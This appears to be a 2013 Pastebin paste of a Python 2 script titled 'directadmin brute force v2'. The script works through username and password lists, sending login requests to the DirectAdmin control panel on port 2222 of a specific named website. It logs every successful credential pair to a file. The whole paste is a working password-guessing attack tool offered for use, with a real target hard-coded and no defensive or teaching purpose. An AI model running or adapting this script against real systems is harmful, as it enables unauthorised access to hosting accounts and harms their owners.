Advertisement
parkdream1

directadmin brute force v2

Oct 18th, 2013
514
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.22 KB | None | 0 0
  1. #directadmin brute force
  2. #code by parkdream1
  3. #http://www.youtube.com/user/DevilSecurityX
  4. import socket
  5. import re
  6.  
  7. USER_LIST = 'user.txt'
  8. PASS_LIST = 'password.txt'
  9.  
  10. TARGET = 'quangcaonewstar.com'
  11. PORT = 2222
  12.  
  13. with open(USER_LIST) as l:
  14.     for line in l:
  15.         line = line.replace("\n","")
  16.         print "Brute Force %s" % line
  17.         with open(PASS_LIST) as f:
  18.             for line1 in f:
  19.                 line1 = line1.replace("\n","")
  20.                 DATA = 'referer=/&username=%s&password=%s' % (line,line1)
  21.                 HEADER = ('POST /CMD_LOGIN HTTP/1.1\r\n' +
  22.                         'Host: %s:%s\r\n' +
  23.                         'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0\r\n' +
  24.                         'Connection: close\r\n' +
  25.                         'Content-Type: application/x-www-form-urlencoded\r\n' +
  26.                         'Content-Length: %s\r\n' +
  27.                         '\r\n' +
  28.                         '%s') % (TARGET,PORT,len(DATA),DATA)
  29.                 try:
  30.                     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  31.                     s.connect((TARGET, PORT))
  32.                     s.send(HEADER)
  33.                     buf = s.recv(18)
  34.                     if buf.find('HTTP/1.1 302 Found')>=0:
  35.                         print "Password %s Ok"%line1
  36.                         open('lst.txt', 'a').write(line + " : " + line1 + "\n")
  37.                         s.close()
  38.                         break
  39.                     else:
  40.                         print "Password %s Error"%line1
  41.                     s.close()
  42.                 except:
  43.                     print 'Error'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement